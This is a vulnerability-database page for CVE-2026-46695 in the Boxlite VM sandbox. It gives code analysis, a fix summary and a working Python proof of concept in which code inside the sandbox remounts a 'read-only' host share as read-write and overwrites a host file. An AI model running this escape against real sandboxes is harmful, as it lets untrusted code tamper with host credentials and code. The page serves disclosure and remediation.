Skip to main content

Boxlite CVE-2026-46695

CRITICAL
Improper Access Control (CWE-284)
2026-05-21 https://github.com/boxlite-ai/boxlite GHSA-g6ww-w5j2-r7x3
10.0
CVSS 3.1 · Vendor: https://github.com/boxlite-ai/boxlite
Share

Severity by source

Vendor (https://github.com/boxlite-ai/boxlite) PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
SUSE
CRITICAL
qualitative

Primary rating from Vendor (https://github.com/boxlite-ai/boxlite).

CVSS VectorVendor: https://github.com/boxlite-ai/boxlite

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 21, 2026 - 22:30 vuln.today
Analysis Generated
May 21, 2026 - 22:30 vuln.today

DescriptionCVE.org

Summary

Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code.

One of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts.

However, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only.

In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.

Details
  1. User-Facing API Documents Read-Only Guarantee

File: boxlite/src/runtime/options.rs Function: VolumeSpec (line 223) Code:

rust
/// Filesystem mount specification.
pub struct VolumeSpec {
    pub host_path: String,
    pub guest_path: String,
    pub read_only: bool,  // <-- operator sets this to restrict guest write access
}

Issue: The read_only field is documented (and in user-facing guides) as preventing the guest from writing to the host directory. The guarantee is "Agent can read but not write." This expectation is not met.

  1. read_only Stored in FsShare - Passed to krun Without Enforcement

File: boxlite/src/vmm/krun/engine.rs Function: Krun::create() (line 334) Code:

rust
for share in config.fs_shares.shares() {
    let path_str = share.host_path.to_str().ok_or_else(|| { ... })?;

    tracing::info!(
        "  {} → {} ({})",
        share.tag,
        share.host_path.display(),
        if share.read_only { "ro" } else { "rw" }  // Logged but NOT passed to krun
    );
    ctx.add_virtiofs(&share.tag, path_str)?;  // <-- read_only silently dropped
}

Issue: share.read_only is logged as "ro" or "rw" but is never passed to add_virtiofs. The actual hypervisor call receives only tag and host path.

  1. Hypervisor FFI Has No Read-Only Parameter

File: boxlite/src/vmm/krun/context.rs Function: add_virtiofs() (line 423) Code:

rust
pub unsafe fn add_virtiofs(&self, mount_tag: &str, host_path: &str) -> BoxliteResult<()> {
    let host_path_c = CString::new(host_path)
        .map_err(|e| BoxliteError::Engine(format!("invalid host path: {e}")))?;
    let mount_tag_c = CString::new(mount_tag)
        .map_err(|e| BoxliteError::Engine(format!("invalid mount tag: {e}")))?;

    check_status("krun_add_virtiofs", unsafe {
        krun_add_virtiofs(self.ctx_id, mount_tag_c.as_ptr(), host_path_c.as_ptr())
        // No read_only parameter - libkrun exposes the share as read-write to the guest
    })
}

Issue: krun_add_virtiofs in the FFI (deps/libkrun-sys/src/lib.rs:35) takes only ctx_id, mount_tag, and host_path. There is no read-only flag. Libkrun exposes the virtiofs share to the guest with full read-write access at the device level.

  1. Read-Only Enforcement Is Delegated to Guest Agent (Zone 0)

File: boxlite/src/volumes/guest_volume.rs Function: build_guest_mounts() (line 184) Code:

rust
for entry in &self.fs_shares {
    let mount_point = entry.guest_path.as_deref().unwrap_or("");
    volumes.push(VolumeConfig::virtiofs(
        &entry.tag,
        mount_point,
        entry.read_only,       // <-- sent to guest agent as instruction
        entry.container_id.clone(),
    ));
}

Issue: The read_only flag is sent to the guest agent via gRPC as a mount instruction. The guest agent is expected to pass -o ro to the mount syscall. But the guest runs Zone 0 code - untrusted, assumed malicious. A compromised or malicious guest simply ignores this instruction.

  1. FFI Declaration Confirms No Read-Only Variant Exists

File: boxlite/deps/libkrun-sys/src/lib.rs Function: krun_add_virtiofs extern declaration (line 35) Code:

rust
extern "C" {
    pub fn krun_add_virtiofs(
        ctx_id: u32,
        mount_tag: *const c_char,
        host_path: *const c_char,
    ) -> i32;
    // No krun_add_virtiofs_ro or equivalent declared
}

Issue: There is no alternative read-only virtiofs FFI function declared. The entire codebase has no krun_add_virtiofs_ro or read-only parameter variant. Enforcement at the hypervisor level does not exist.

  1. OCI Spec Builder Grants All Capabilities

File: guest/src/container/capabilities.rs Function: all_capabilities() (line 19) Code:

rust
 pub fn all_capabilities() -> HashSet<Capability> {
     [
         // ...
         Capability::SysModule,    // 16: load/unload kernel modules
         Capability::SysRawio,     // 17: perform I/O port operations
         Capability::SysAdmin,     // 21: various admin operations
         Capability::NetAdmin,     // 12: network administration
         Capability::NetRaw,       // 13: use RAW/PACKET sockets
         Capability::MacOverride,  // 32: override MAC
         Capability::Bpf,          // 39: BPF operations
         // ... all 41 capabilities
     ]
     .into_iter()
     .collect()
 }

Issue: Returns all 41 capabilities including the most dangerous ones, like Capability::SysAdmin. The function comment itself says "maximum compatibility but reduced security isolation."

PoC
  1. Install Boxlite following the official tutorial.
  2. Run the following Python script:
python
   import asyncio
   import os
   import tempfile
   import sys
   from boxlite import Boxlite, BoxOptions


   async def run(box, cmd):
       """Run shell command via native box.exec API."""
       execution = await box.exec("sh", ["-c", cmd], None)
       stdout_stream = execution.stdout()
       stderr_stream = execution.stderr()

       stdout_lines, stderr_lines = [], []

       async def read_stdout():
           async for line in stdout_stream:
               stdout_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))

       async def read_stderr():
           async for line in stderr_stream:
               stderr_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))

       await asyncio.gather(read_stdout(), read_stderr())
       result = await execution.wait()

       return {
           'exit_code': result.exit_code,
           'stdout': ''.join(stdout_lines),
           'stderr': ''.join(stderr_lines),
       }

   async def main():
# Step 1: Set up host directory with a read-only file
       host_dir = tempfile.mkdtemp(prefix="virtiofs_ro_poc_")
       ro_file = os.path.join(host_dir, "read_only.txt")

       with open(ro_file, "w") as f:
           f.write("original content\n")

       print(f"[+] Step 1: Host directory created: {host_dir}")
       print(f"    read_only.txt: {open(ro_file).read().strip()}")
       print()

       guest_mount = "/mnt/sensitive"
       print(f"[+] Step 2: Launching BoxLite VM with:")
       print(f"    volumes=[('{host_dir}', '{guest_mount}', True)]
# read_only=True")
       print()

       try:
           runtime = Boxlite.default()
           opts = BoxOptions(
               image="alpine:latest",
               volumes=[(host_dir, guest_mount, True)],
# <-- read_only=True
               memory_mib=512,
               cpus=1,
               auto_remove=True,
           )

           box = await runtime.create(opts)
           async with box:
               print("[+] Step 3: VM booted. Checking virtiofs mount state...")
               r = await run(box, f"cat /proc/mounts | grep sensitive")
               print(f"    /proc/mounts: {r['stdout'].strip()}")
               print()

               print("[+] Step 4: Testing write protection (initial state)...")
               r2 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
               out = r2['stdout'].strip()
               print(f"    Write attempt: {out}")
               if "Read-only" in out or "read-only" in out:
                   print(f"    [OK] Initially blocked - client-side MS_RDONLY is active")
               print()

               print("[!!!] Step 5: ATTACK - Bypassing read-only via remount...")
               r3 = await run(box, f"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?")
               print(f"    Remount result: {r3['stdout'].strip()}")
               r4 = await run(box, f"cat /proc/mounts | grep sensitive")
               print(f"    Mount flags after: {r4['stdout'].strip()}")
               print()

               print("[!!!] Step 6: Writing to 'read-only' mount after bypass...")
               r5 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
               print(f"    Write result: {r5['stdout'].strip()}")
               r6 = await run(box, f"cat {guest_mount}/read_only.txt")
               print(f"    File content inside guest: {r6['stdout'].strip()}")
               print()

           print("[+] Step 7: HOST VERIFICATION")
           content = open(ro_file).read().strip()
           print(f"    read_only.txt on host: {content}")
           print()

           print("FINAL RESULT:")
           print()
           if content == "modified content":
               print("  [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE")
           else:
               print("  [?] Bypass did not produce host-side writes.")

       except Exception as e:
           print(f"[-] Error: {e}")
           import traceback
           traceback.print_exc()
       finally:
           import shutil
           try:
               shutil.rmtree(host_dir)
               print(f"\n[+] Cleanup: removed {host_dir}")
           except:
               pass

   asyncio.run(main())

This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output:

   $ python poc.py
   [+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21
       read_only.txt: original content

   [+] Step 2: Launching BoxLite VM with:
       volumes=[('/tmp/virtiofs_ro_poc_93fdis21', '/mnt/sensitive', True)]
# read_only=True

   [+] Step 3: VM booted. Checking virtiofs mount state...
       /proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0

   [+] Step 4: Testing write protection (initial state)...
       Write attempt: write_exit:1

   [!!!] Step 5: ATTACK - Bypassing read-only via remount...
       Remount result: remount_exit:0
       Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0

   [!!!] Step 6: Writing to 'read-only' mount after bypass...
       Write result: write_exit:0
       File content inside guest: modified content

   [+] Step 7: HOST VERIFICATION
       read_only.txt on host: modified content

   FINAL RESULT:

     [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE

   [+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21
Impact

Malicious code can perform arbitrary write operations on directories that should be read-only.

In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.

Score

Severity: Critical, Score: 10.0, rationale as follows:

  • AV:N - Malicious code can be transmitted through networks, such as code written by large language models.
  • AC:L - No special conditions or race conditions are required. The attacker simply executes a mount -o remount,rw command inside the container. CAP_SYS_ADMIN is granted by default, and the attack is deterministic and trivially reproducible.
  • PR:N - The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code).
  • UI:N - No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator.
  • S:C - The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem.
  • C:H - With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container.
  • I:H - The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files.
  • A:N - The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access.
Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If there are any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

Note that BoxLite follows the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that BoxLite reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

Resolution

Fixed in v0.9.0 by PR #454 (commit 2c26968e), released 2026-04-29, with defense-in-depth across three layers:

  1. Hypervisor-level read-only enforcement. virtio-fs shares are now created via krun_add_virtiofs3 (libkrun v1.18.0) with the read_only flag passed through, so the share is read-only at the virtio-fs device - before any request reaches the guest kernel. A malicious guest mount -o remount,rw can no longer reach host data even if it regained CAP_SYS_ADMIN.
  2. Capability restriction. Containers now receive the 14 Docker-default capabilities, explicitly excluding CAP_SYS_ADMIN (and CAP_NET_ADMIN, CAP_SYS_MODULE, CAP_SYS_RAWIO, CAP_MAC_OVERRIDE), so the remount in the PoC fails with EPERM.
  3. TSI network isolation. When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest→host socket-forwarding path.

Regression coverage: src/boxlite/tests/security_enforcement.rs (Rust core) and sdks/python/tests/test_readonly_volume_remount.py (Python SDK) both replay the PoC remount attack and assert it fails.

Remediation: upgrade to boxlite 0.9.0 or later (all SDKs: PyPI boxlite, npm @boxlite-ai/boxlite, Go module github.com/boxlite-ai/boxlite/sdks/go, crates.io boxlite / boxlite-cli). There is no workaround for affected versions; upgrade is required.

AnalysisAI

Sandbox escape in Boxlite versions prior to 0.9.0 lets untrusted code running inside the lightweight VM remount host-shared virtiofs directories from read-only to read-write, enabling arbitrary writes to host files that operators believed were protected. Because the container is granted all 41 Linux capabilities (including CAP_SYS_ADMIN), a trivial 'mount -o remount,rw' bypasses the client-side MS_RDONLY enforcement, and in AI-agent deployments this leads to host code execution by tampering with mounted code, virtualenvs, or credentials. Publicly available exploit code exists (working PoC published in the GHSA advisory) and the issue carries a CVSS 10.0 with scope change; no public exploit identified at time of analysis in CISA KEV.

Technical ContextAI

Boxlite uses libkrun to launch microVMs and shares host directories with the guest via virtio-fs. Older libkrun (pre-1.18.0) exposed only krun_add_virtiofs(ctx_id, tag, host_path) with no read-only flag, so Boxlite implemented 'read-only' by sending an instruction to its in-guest agent (Zone 0) to mount with -o ro after boot. This is a CWE-284 (Improper Access Control) issue: the security boundary is enforced inside the untrusted side rather than at the hypervisor device. Combined with the guest container being created with the full Linux capability set (all 41 caps, including CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_RAWIO), a guest holds the privilege required to remount any mountpoint, and virtio-fs honors writes back to the host because the device itself is read-write. Affected packages span pip/boxlite, npm/@boxlite-ai/boxlite, go module github.com/boxlite-ai/boxlite/sdks/go, and crates.io boxlite / boxlite-cli - all sharing the same Rust core.

RemediationAI

Vendor-released patch: Boxlite 0.9.0 - upgrade pip 'boxlite', npm '@boxlite-ai/boxlite', Go 'github.com/boxlite-ai/boxlite/sdks/go', and crates.io 'boxlite'/'boxlite-cli' to 0.9.0 or later (PR https://github.com/boxlite-ai/boxlite/pull/454, commit 2c26968e). The fix adds three layers: hypervisor-level read-only enforcement via krun_add_virtiofs3 with libkrun 1.18.0, capability reduction to Docker's 14 defaults (dropping CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_MODULE, CAP_SYS_RAWIO, CAP_MAC_OVERRIDE), and replacing the implicit TSI-enabled vsock with an explicit zero-feature vsock when networking is disabled. The vendor states there is no workaround for affected versions; however, if upgrade is delayed, the practical compensating control is to stop passing read_only=True mounts and instead mount only directories that are safe to be writable, or to avoid mounting any host directory containing executable code, virtualenvs, credentials, or configuration consumed by the host - accepting that the 'read-only' guarantee is currently non-existent. Refer to the GHSA advisory at https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-g6ww-w5j2-r7x3 for full details.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-46695 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy